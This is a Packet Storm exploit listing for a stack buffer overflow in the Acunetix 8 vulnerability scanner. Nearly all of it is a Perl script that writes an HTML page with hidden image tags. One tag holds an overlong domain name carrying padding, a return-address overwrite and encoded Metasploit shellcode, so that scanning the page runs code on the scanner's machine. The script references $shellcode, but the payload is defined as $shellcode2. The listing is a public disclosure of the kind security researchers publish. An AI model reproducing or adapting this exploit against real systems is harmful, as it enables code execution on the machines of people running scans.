Acunetix 8 Stack Buffer Overflow

🗓️ 24 Apr 2014 00:00:00Reported by Danor CohenType
packetstorm🔗 packetstormsecurity.com👁 22 Views
Acunetix 8 Stack Buffer Overflow Exploit - HTML file generation that executes shell on Acunetix sca
`# Exploit Title: Acunetix Stack Based overflow  
# Date: 24/04/14  
# Exploit Author: Danor Cohen (An7i) - http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html  
# Vendor Homepage: http://www.acunetix.com/  
# Software Link: http://www.acunetix.com/vulnerability-scanner/download/  
# Version: 8 build 20120704  
# Tested on: XP  
#  
# http://www.reddit.com/r/netsec/comments/23tbn6/pwn_the_n00bs_acunetix_0day/  
#  
  
#This exploit generates HTML file, if this HTML will be scanned with ACUNETIX, shell will be executed.  
  
my $file= "index.html";  
my $HTMLHeader1 = "<html>\r\n";  
my $HTMLHeader2 = "\r\n</html>";  
my $IMGheader1 = "<img style=\"opacity:0.0;filter:alpha(opacity=0);\" src=http://";  
my $IMGheader2 = "><br>\n";  
  
my $DomainName1 = "XSS";  
my $DomainName2 = "CSRF";  
my $DomainName3 = "DeepScan";  
my $DomainName4 = "NetworkScan";  
my $DomainName5 = "DenialOfService";  
my $GeneralDotPadding = "." x 190;  
  
my $ExploitDomain = "SQLInjection";  
my $DotPadding = "." x (202-length($ExploitDomain));  
my $Padding1 = "A"x66;  
my $Padding2 = "B"x4;  
my $FlowCorrector = "500f"; #0x66303035 : readable memory location for fixing the flow  
my $EIPOverWrite = "]Qy~"; #0x7e79515d (JMP ESP from SXS.DLL).  
  
# windows/exec - 461 bytes  
# http://www.metasploit.com  
# Encoder: x86/alpha_upper  
# VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,  
# CMD=calc.exe  
my $shellcode2 =  
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" .  
"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" .  
"\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" .  
"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" .  
"\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x33\x30\x45\x50\x53" .  
"\x30\x33\x50\x4c\x49\x4a\x45\x46\x51\x48\x52\x52\x44\x4c" .  
"\x4b\x36\x32\x50\x30\x4c\x4b\x51\x42\x34\x4c\x4c\x4b\x51" .  
"\x42\x35\x44\x4c\x4b\x52\x52\x37\x58\x54\x4f\x48\x37\x51" .  
"\x5a\x57\x56\x50\x31\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x37" .  
"\x4c\x45\x31\x33\x4c\x45\x52\x36\x4c\x47\x50\x59\x51\x58" .  
"\x4f\x54\x4d\x53\x31\x49\x57\x4d\x32\x4c\x30\x50\x52\x46" .  
"\x37\x4c\x4b\x31\x42\x44\x50\x4c\x4b\x30\x42\x57\x4c\x45" .  
"\x51\x4e\x30\x4c\x4b\x57\x30\x34\x38\x4b\x35\x59\x50\x42" .  
"\x54\x31\x5a\x53\x31\x48\x50\x36\x30\x4c\x4b\x37\x38\x52" .  
"\x38\x4c\x4b\x46\x38\x51\x30\x43\x31\x49\x43\x4a\x43\x47" .  
"\x4c\x47\x39\x4c\x4b\x56\x54\x4c\x4b\x45\x51\x48\x56\x36" .  
"\x51\x4b\x4f\x56\x51\x39\x50\x4e\x4c\x39\x51\x38\x4f\x54" .  
"\x4d\x43\x31\x49\x57\x56\x58\x4b\x50\x43\x45\x4a\x54\x35" .  
"\x53\x53\x4d\x4b\x48\x57\x4b\x43\x4d\x57\x54\x34\x35\x5a" .  
"\x42\x31\x48\x4c\x4b\x56\x38\x37\x54\x33\x31\x48\x53\x32" .  
"\x46\x4c\x4b\x34\x4c\x50\x4b\x4c\x4b\x56\x38\x35\x4c\x43" .  
"\x31\x58\x53\x4c\x4b\x43\x34\x4c\x4b\x43\x31\x4e\x30\x4b" .  
"\x39\x51\x54\x31\x34\x56\x44\x51\x4b\x51\x4b\x43\x51\x36" .  
"\x39\x51\x4a\x30\x51\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x30" .  
"\x5a\x4c\x4b\x54\x52\x4a\x4b\x4b\x36\x31\x4d\x33\x5a\x53" .  
"\x31\x4c\x4d\x4b\x35\x4f\x49\x55\x50\x35\x50\x35\x50\x46" .  
"\x30\x42\x48\x36\x51\x4c\x4b\x32\x4f\x4b\x37\x4b\x4f\x58" .  
"\x55\x4f\x4b\x4b\x50\x45\x4d\x36\x4a\x34\x4a\x43\x58\x4e" .  
"\x46\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x39\x45\x57\x4c\x43" .  
"\x36\x43\x4c\x44\x4a\x4d\x50\x4b\x4b\x4d\x30\x42\x55\x34" .  
"\x45\x4f\x4b\x30\x47\x54\x53\x34\x32\x42\x4f\x52\x4a\x33" .  
"\x30\x51\x43\x4b\x4f\x59\x45\x45\x33\x33\x51\x52\x4c\x35" .  
"\x33\x46\x4e\x35\x35\x53\x48\x52\x45\x45\x50\x41\x41";  
  
my $FinalDomainName1 = $IMGheader1.$DomainName1.$GeneralDotPadding.$IMGheader2;  
my $FinalDomainName2 = $IMGheader1.$DomainName2.$GeneralDotPadding.$IMGheader2;  
my $FinalDomainName3 = $IMGheader1.$DomainName3.$GeneralDotPadding.$IMGheader2;  
my $FinalDomainName4 = $IMGheader1.$DomainName4.$GeneralDotPadding.$IMGheader2;  
my $FinalDomainName5 = $IMGheader1.$DomainName5.$GeneralDotPadding.$IMGheader2;  
  
my $FinalExploitDomain = $IMGheader1.$ExploitDomain.$DotPadding.$Padding1.$FlowCorrector.$Padding2.$EIPOverWrite.$shellcode.$IMGheader2;  
open($FILE,">$file");  
print $FILE $HTMLHeader1.$FinalDomainName1.$FinalDomainName2.$FinalDomainName3.$FinalDomainName4.$FinalDomainName5.$FinalExploitDomain.$HTMLHeader2;  
close($FILE);  
print "Acunetix Killer File Created successfully\n";  
  
`
24 Apr 2014 00:00Current
1.1Low risk
Vulners AI Score1.1